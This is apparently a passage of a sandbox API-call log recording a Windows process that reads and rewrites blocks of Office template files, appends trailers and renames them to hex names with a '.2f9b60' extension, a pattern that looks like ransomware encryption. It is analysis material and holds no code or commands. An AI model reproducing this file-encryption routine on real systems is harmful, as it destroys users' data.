Size=0x20) returned 0x42d2ef70 [0182.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2ef70) returned 1 [0182.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.053] WriteFile (in: hFile=0x15b0, lpBuffer=0x42366910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x361cfb00, lpOverlapped=0x0 | out: lpBuffer=0x42366910*, lpNumberOfBytesWritten=0x361cfb00*=0x3c00, lpOverlapped=0x0) returned 1 [0198.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42366910) returned 1 [0198.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4309f9f0 [0198.762] SetFilePointerEx (in: hFile=0x15b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0198.762] WriteFile (in: hFile=0x15b0, lpBuffer=0x1cecad70*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x361cfbb0, lpOverlapped=0x0 | out: lpBuffer=0x1cecad70*, lpNumberOfBytesWritten=0x361cfbb0*=0x15e, lpOverlapped=0x0) returned 1 [0203.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0203.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307e00 [0203.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8770 [0203.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8770) returned 1 [0203.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1ce5e170 [0203.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8770 [0203.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8680 [0203.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8680) returned 1 [0203.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307e00) returned 1 [0203.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0203.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x59) returned 0x4309f980 [0203.713] sprintf (in: _Dest=0x4309f980, _Format="%c%c" | out: _Dest="9c") returned 2 [0203.713] sprintf (in: _Dest=0x4309f982, _Format="%c%c" | out: _Dest="3f") returned 2 [0203.713] sprintf (in: _Dest=0x4309f984, _Format="%c%c" | out: _Dest="52") returned 2 [0203.713] sprintf (in: _Dest=0x4309f986, _Format="%c%c" | out: _Dest="16") returned 2 [0203.713] sprintf (in: _Dest=0x4309f988, _Format="%c%c" | out: _Dest="53") returned 2 [0203.713] sprintf (in: _Dest=0x4309f98a, _Format="%c%c" | out: _Dest="c4") returned 2 [0203.713] sprintf (in: _Dest=0x4309f98c, _Format="%c%c" | out: _Dest="d1") returned 2 [0203.713] sprintf (in: _Dest=0x4309f98e, _Format="%c%c" | out: _Dest="c4") returned 2 [0203.713] sprintf (in: _Dest=0x4309f990, _Format="%c%c" | out: _Dest="9a") returned 2 [0203.713] sprintf (in: _Dest=0x4309f992, _Format="%c%c" | out: _Dest="57") returned 2 [0203.713] sprintf (in: _Dest=0x4309f994, _Format="%c%c" | out: _Dest="57") returned 2 [0203.713] sprintf (in: _Dest=0x4309f996, _Format="%c%c" | out: _Dest="72") returned 2 [0203.713] sprintf (in: _Dest=0x4309f998, _Format="%c%c" | out: _Dest="7d") returned 2 [0203.713] sprintf (in: _Dest=0x4309f99a, _Format="%c%c" | out: _Dest="52") returned 2 [0203.713] sprintf (in: _Dest=0x4309f99c, _Format="%c%c" | out: _Dest="f8") returned 2 [0203.713] sprintf (in: _Dest=0x4309f99e, _Format="%c%c" | out: _Dest="e2") returned 2 [0203.713] sprintf (in: _Dest=0x4309f9a0, _Format="%c%c" | out: _Dest="39") returned 2 [0203.713] sprintf (in: _Dest=0x4309f9a2, _Format="%c%c" | out: _Dest="76") returned 2 [0203.713] sprintf (in: _Dest=0x4309f9a4, _Format="%c%c" | out: _Dest="3f") returned 2 [0203.713] sprintf (in: _Dest=0x4309f9a6, _Format="%c%c" | out: _Dest="d2") returned 2 [0203.713] sprintf (in: _Dest=0x4309f9a8, _Format="%c%c" | out: _Dest="8d") returned 2 [0203.714] sprintf (in: _Dest=0x4309f9aa, _Format="%c%c" | out: _Dest="44") returned 2 [0203.714] sprintf (in: _Dest=0x4309f9ac, _Format="%c%c" | out: _Dest="95") returned 2 [0203.714] sprintf (in: _Dest=0x4309f9ae, _Format="%c%c" | out: _Dest="8e") returned 2 [0203.714] sprintf (in: _Dest=0x4309f9b0, _Format="%c%c" | out: _Dest="8c") returned 2 [0203.714] sprintf (in: _Dest=0x4309f9b2, _Format="%c%c" | out: _Dest="b1") returned 2 [0203.714] sprintf (in: _Dest=0x4309f9b4, _Format="%c%c" | out: _Dest="57") returned 2 [0203.714] sprintf (in: _Dest=0x4309f9b6, _Format="%c%c" | out: _Dest="27") returned 2 [0203.714] sprintf (in: _Dest=0x4309f9b8, _Format="%c%c" | out: _Dest="a8") returned 2 [0203.714] sprintf (in: _Dest=0x4309f9ba, _Format="%c%c" | out: _Dest="3d") returned 2 [0203.714] sprintf (in: _Dest=0x4309f9bc, _Format="%c%c" | out: _Dest="6a") returned 2 [0203.714] sprintf (in: _Dest=0x4309f9be, _Format="%c%c" | out: _Dest="d5") returned 2 [0203.714] sprintf (in: _Dest=0x4309f9c0, _Format="%c%c" | out: _Dest="33") returned 2 [0203.714] sprintf (in: _Dest=0x4309f9c2, _Format="%c%c" | out: _Dest="e4") returned 2 [0203.714] sprintf (in: _Dest=0x4309f9c4, _Format="%c%c" | out: _Dest="7e") returned 2 [0203.714] sprintf (in: _Dest=0x4309f9c6, _Format="%c%c" | out: _Dest="3b") returned 2 [0203.714] sprintf (in: _Dest=0x4309f9c8, _Format="%c%c" | out: _Dest="57") returned 2 [0203.714] sprintf (in: _Dest=0x4309f9ca, _Format="%c%c" | out: _Dest="4a") returned 2 [0203.714] sprintf (in: _Dest=0x4309f9cc, _Format="%c%c" | out: _Dest="71") returned 2 [0203.714] sprintf (in: _Dest=0x4309f9ce, _Format="%c%c" | out: _Dest="56") returned 2 [0203.714] sprintf (in: _Dest=0x4309f9d0, _Format="%c%c" | out: _Dest="8d") returned 2 [0203.714] sprintf (in: _Dest=0x4309f9d2, _Format="%c%c" | out: _Dest="49") returned 2 [0203.714] sprintf (in: _Dest=0x4309f9d4, _Format="%c%c" | out: _Dest="ae") returned 2 [0203.714] sprintf (in: _Dest=0x4309f9d6, _Format="%c%c" | out: _Dest="00") returned 2 [0203.714] RtlInitAnsiString (in: DestinationString=0x361cfc28, SourceString="9c3f521653c4d1c49a5757727d52f8e239763fd28d44958e8cb15727a83d6ad533e47e3b574a71568d49ae00" | out: DestinationString="9c3f521653c4d1c49a5757727d52f8e239763fd28d44958e8cb15727a83d6ad533e47e3b574a71568d49ae00") [0203.714] RtlAnsiStringToUnicodeString (in: DestinationString=0x361cfbf8, SourceString="9c3f521653c4d1c49a5757727d52f8e239763fd28d44958e8cb15727a83d6ad533e47e3b574a71568d49ae00", AllocateDestinationString=1 | out: DestinationString="9c3f521653c4d1c49a5757727d52f8e239763fd28d44958e8cb15727a83d6ad533e47e3b574a71568d49ae00") returned 0x0 [0203.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x4311b3e0 [0203.715] wcscat (in: _Dest=0x43131220, _Source="9c3f521653c4d1c49a5757" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\9c3f521653c4d1c49a5757") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\9c3f521653c4d1c49a5757" [0203.715] wcscat (in: _Dest=0x43131220, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\9c3f521653c4d1c49a5757.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\9c3f521653c4d1c49a5757.2f9b60" [0203.715] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\9c3f521653c4d1c49a5757.2f9b60", NtPathName=0x361cfbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\9c3f521653c4d1c49a5757.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x4310bc40 [0243.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310bc40) returned 1 [0243.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43223670) returned 1 [0243.266] NtQueryInformationFile (in: FileHandle=0x15b0, IoStatusBlock=0x361cfc38, FileInformation=0x361cfc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x361cfc38, FileInformation=0x361cfc48) returned 0x0 [0243.266] NtSetInformationFile (FileHandle=0x15b0, IoStatusBlock=0x361cfc38, FileInformation=0x361cfc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0244.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43131220) returned 1 [0244.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4311b3e0) returned 1 [0244.507] FlushFileBuffers (hFile=0x15b0) Thread: id = 1145 os_tid = 0x72c [0113.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ContemporaryPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\contemporaryphotoalbum.potx")) returned 0x20 [0113.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ContemporaryPhotoAlbum.potx", dwFileAttributes=0x20) returned 1 [0113.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ContemporaryPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\contemporaryphotoalbum.potx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x156c [0113.118] GetFileSizeEx (in: hFile=0x156c, lpFileSize=0x3627fdc0 | out: lpFileSize=0x3627fdc0*=611458) returned 1 [0113.118] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x9547e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.119] ReadFile (in: hFile=0x156c, lpBuffer=0x3627fd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3627fd88, lpOverlapped=0x0 | out: lpBuffer=0x3627fd40*, lpNumberOfBytesRead=0x3627fd88*=0x4, lpOverlapped=0x0) returned 1 [0113.133] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ca0 [0113.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e00 [0113.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260d70 [0113.133] NtQuerySystemTime (in: CurrentTime=0x3627fc80 | out: CurrentTime=0x3627fc80*=132462177185986000) returned 0x0 [0113.133] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x4c764f50 [0113.133] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x4e64db7c [0113.134] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x7ede7332 [0113.134] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x5d365f8f [0113.134] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x2a62ed01 [0113.134] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x29be92e4 [0113.134] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x5d1b052 [0113.134] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x15dafd36 [0113.134] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x540c3ffa [0113.134] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x538472c [0113.134] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x4b93888c [0113.134] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x62b73fa3 [0113.134] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x46c9af14 [0113.134] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x70ac31b7 [0113.134] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0xc58a3ac [0113.134] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x76504da2 [0113.134] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x45bc65fd [0113.134] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x488b0d1c [0113.134] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x3c9344ab [0113.135] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x59bbc19e [0113.135] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x4c15f5d [0113.135] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x1b273df8 [0113.135] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x9ddf3cb [0113.135] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x3da52bb5 [0113.135] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x3a402624 [0113.135] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x1120fecb [0113.135] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x5750180b [0113.135] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x1a7f4670 [0113.135] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x202f29cb [0113.135] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x4d8f99b9 [0113.135] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x5797fea6 [0113.135] RtlRandomEx (in: Seed=0x3627fc70 | out: Seed=0x3627fc70) returned 0x52002829 [0113.150] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.150] ReadFile (in: hFile=0x156c, lpBuffer=0x41dc0d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3627fce0, lpOverlapped=0x0 | out: lpBuffer=0x41dc0d80*, lpNumberOfBytesRead=0x3627fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0113.203] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0113.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868a40 [0113.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ca0 [0113.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261ca0) returned 1 [0113.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d578d0 [0113.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ca0 [0113.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261cd0 [0113.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261cd0) returned 1 [0113.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868a40) returned 1 [0113.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0113.205] WriteFile (in: hFile=0x156c, lpBuffer=0x41d578d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3627fce0, lpOverlapped=0x0 | out: lpBuffer=0x41d578d0*, lpNumberOfBytesWritten=0x3627fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0148.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d578d0) returned 1 [0148.086] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x4b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.086] ReadFile (in: hFile=0x156c, lpBuffer=0x41dc0d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3627fce0, lpOverlapped=0x0 | out: lpBuffer=0x41dc0d80*, lpNumberOfBytesRead=0x3627fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0148.087] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x4b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0148.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0148.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202602f0 [0148.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202602f0) returned 1 [0148.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d578d0 [0148.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202602f0 [0148.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263590 [0148.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263590) returned 1 [0148.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0148.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0148.089] WriteFile (hFile=0x156c, lpBuffer=0x41d578d0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3627fce0, lpOverlapped=0x0) [0179.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d578d0) returned 1 [0179.918] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x91882, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.919] ReadFile (in: hFile=0x156c, lpBuffer=0x41dc0d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3627fce0, lpOverlapped=0x0 | out: lpBuffer=0x41dc0d80*, lpNumberOfBytesRead=0x3627fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0182.029] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x91882, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ee50 [0182.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2ee50) returned 1 [0182.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x43021150 [0182.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ee50 [0182.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ee80 [0182.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2ee80) returned 1 [0182.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.032] WriteFile (in: hFile=0x156c, lpBuffer=0x43021150*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3627fce0, lpOverlapped=0x0 | out: lpBuffer=0x43021150*, lpNumberOfBytesWritten=0x3627fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43021150) returned 1 [0198.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4309fa60 [0198.764] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0198.764] WriteFile (in: hFile=0x156c, lpBuffer=0x1ceb7d60*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x3627fd90, lpOverlapped=0x0 | out: lpBuffer=0x1ceb7d60*, lpNumberOfBytesWritten=0x3627fd90*=0x168, lpOverlapped=0x0) returned 1 [0203.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059560 [0203.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307e00 [0203.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260dd0 [0203.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260dd0) returned 1 [0203.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1ce5e170 [0203.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260dd0 [0203.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c10 [0203.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261c10) returned 1 [0203.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307e00) returned 1 [0203.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059560) returned 1 [0203.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6d) returned 0x42307e00 [0203.726] sprintf (in: _Dest=0x42307e00, _Format="%c%c" | out: _Dest="7b") returned 2 [0203.726] sprintf (in: _Dest=0x42307e02, _Format="%c%c" | out: _Dest="09") returned 2 [0203.726] sprintf (in: _Dest=0x42307e04, _Format="%c%c" | out: _Dest="4a") returned 2 [0203.726] sprintf (in: _Dest=0x42307e06, _Format="%c%c" | out: _Dest="54") returned 2 [0203.726] sprintf (in: _Dest=0x42307e08, _Format="%c%c" | out: _Dest="16") returned 2 [0203.726] sprintf (in: _Dest=0x42307e0a, _Format="%c%c" | out: _Dest="1c") returned 2 [0203.727] sprintf (in: _Dest=0x42307e0c, _Format="%c%c" | out: _Dest="3d") returned 2 [0203.727] sprintf (in: _Dest=0x42307e0e, _Format="%c%c" | out: _Dest="b2") returned 2 [0203.727] sprintf (in: _Dest=0x42307e10, _Format="%c%c" | out: _Dest="07") returned 2 [0203.727] sprintf (in: _Dest=0x42307e12, _Format="%c%c" | out: _Dest="51") returned 2 [0203.727] sprintf (in: _Dest=0x42307e14, _Format="%c%c" | out: _Dest="ad") returned 2 [0203.727] sprintf (in: _Dest=0x42307e16, _Format="%c%c" | out: _Dest="83") returned 2 [0203.727] sprintf (in: _Dest=0x42307e18, _Format="%c%c" | out: _Dest="a2") returned 2 [0203.727] sprintf (in: _Dest=0x42307e1a, _Format="%c%c" | out: _Dest="64") returned 2 [0203.727] sprintf (in: _Dest=0x42307e1c, _Format="%c%c" | out: _Dest="46") returned 2 [0203.727] sprintf (in: _Dest=0x42307e1e, _Format="%c%c" | out: _Dest="80") returned 2 [0203.727] sprintf (in: _Dest=0x42307e20, _Format="%c%c" | out: _Dest="40") returned 2 [0203.727] sprintf (in: _Dest=0x42307e22, _Format="%c%c" | out: _Dest="32") returned 2 [0203.727] sprintf (in: _Dest=0x42307e24, _Format="%c%c" | out: _Dest="a7") returned 2 [0203.727] sprintf (in: _Dest=0x42307e26, _Format="%c%c" | out: _Dest="91") returned 2 [0203.727] sprintf (in: _Dest=0x42307e28, _Format="%c%c" | out: _Dest="8c") returned 2 [0203.727] sprintf (in: _Dest=0x42307e2a, _Format="%c%c" | out: _Dest="1d") returned 2 [0203.727] sprintf (in: _Dest=0x42307e2c, _Format="%c%c" | out: _Dest="18") returned 2 [0203.727] sprintf (in: _Dest=0x42307e2e, _Format="%c%c" | out: _Dest="98") returned 2 [0203.727] sprintf (in: _Dest=0x42307e30, _Format="%c%c" | out: _Dest="62") returned 2 [0203.727] sprintf (in: _Dest=0x42307e32, _Format="%c%c" | out: _Dest="9e") returned 2 [0203.727] sprintf (in: _Dest=0x42307e34, _Format="%c%c" | out: _Dest="8c") returned 2 [0203.727] sprintf (in: _Dest=0x42307e36, _Format="%c%c" | out: _Dest="d1") returned 2 [0203.727] sprintf (in: _Dest=0x42307e38, _Format="%c%c" | out: _Dest="36") returned 2 [0203.727] sprintf (in: _Dest=0x42307e3a, _Format="%c%c" | out: _Dest="e0") returned 2 [0203.727] sprintf (in: _Dest=0x42307e3c, _Format="%c%c" | out: _Dest="7d") returned 2 [0203.728] sprintf (in: _Dest=0x42307e3e, _Format="%c%c" | out: _Dest="9a") returned 2 [0203.728] sprintf (in: _Dest=0x42307e40, _Format="%c%c" | out: _Dest="7c") returned 2 [0203.728] sprintf (in: _Dest=0x42307e42, _Format="%c%c" | out: _Dest="9a") returned 2 [0203.728] sprintf (in: _Dest=0x42307e44, _Format="%c%c" | out: _Dest="2a") returned 2 [0203.728] sprintf (in: _Dest=0x42307e46, _Format="%c%c" | out: _Dest="18") returned 2 [0203.728] sprintf (in: _Dest=0x42307e48, _Format="%c%c" | out: _Dest="b2") returned 2 [0203.728] sprintf (in: _Dest=0x42307e4a, _Format="%c%c" | out: _Dest="57") returned 2 [0203.728] sprintf (in: _Dest=0x42307e4c, _Format="%c%c" | out: _Dest="54") returned 2 [0203.728] sprintf (in: _Dest=0x42307e4e, _Format="%c%c" | out: _Dest="ce") returned 2 [0203.728] sprintf (in: _Dest=0x42307e50, _Format="%c%c" | out: _Dest="96") returned 2 [0203.728] sprintf (in: _Dest=0x42307e52, _Format="%c%c" | out: _Dest="cf") returned 2 [0203.728] sprintf (in: _Dest=0x42307e54, _Format="%c%c" | out: _Dest="9d") returned 2 [0203.728] sprintf (in: _Dest=0x42307e56, _Format="%c%c" | out: _Dest="ec") returned 2 [0203.728] sprintf (in: _Dest=0x42307e58, _Format="%c%c" | out: _Dest="28") returned 2 [0203.728] sprintf (in: _Dest=0x42307e5a, _Format="%c%c" | out: _Dest="cc") returned 2 [0203.728] sprintf (in: _Dest=0x42307e5c, _Format="%c%c" | out: _Dest="d6") returned 2 [0203.728] sprintf (in: _Dest=0x42307e5e, _Format="%c%c" | out: _Dest="1a") returned 2 [0203.728] sprintf (in: _Dest=0x42307e60, _Format="%c%c" | out: _Dest="62") returned 2 [0203.728] sprintf (in: _Dest=0x42307e62, _Format="%c%c" | out: _Dest="fc") returned 2 [0203.728] sprintf (in: _Dest=0x42307e64, _Format="%c%c" | out: _Dest="09") returned 2 [0203.728] sprintf (in: _Dest=0x42307e66, _Format="%c%c" | out: _Dest="bd") returned 2 [0203.728] sprintf (in: _Dest=0x42307e68, _Format="%c%c" | out: _Dest="3a") returned 2 [0203.728] sprintf (in: _Dest=0x42307e6a, _Format="%c%c" | out: _Dest="63") returned 2 [0203.728] RtlInitAnsiString (in: DestinationString=0x3627fe08, SourceString="7b094a54161c3db20751ad83a26446804032a7918c1d1898629e8cd136e07d9a7c9a2a18b25754ce96cf9dec28ccd61a62fc09bd3a63" | out: DestinationString="7b094a54161c3db20751ad83a26446804032a7918c1d1898629e8cd136e07d9a7c9a2a18b25754ce96cf9dec28ccd61a62fc09bd3a63") [0203.729] RtlAnsiStringToUnicodeString (in: DestinationString=0x3627fdd8, 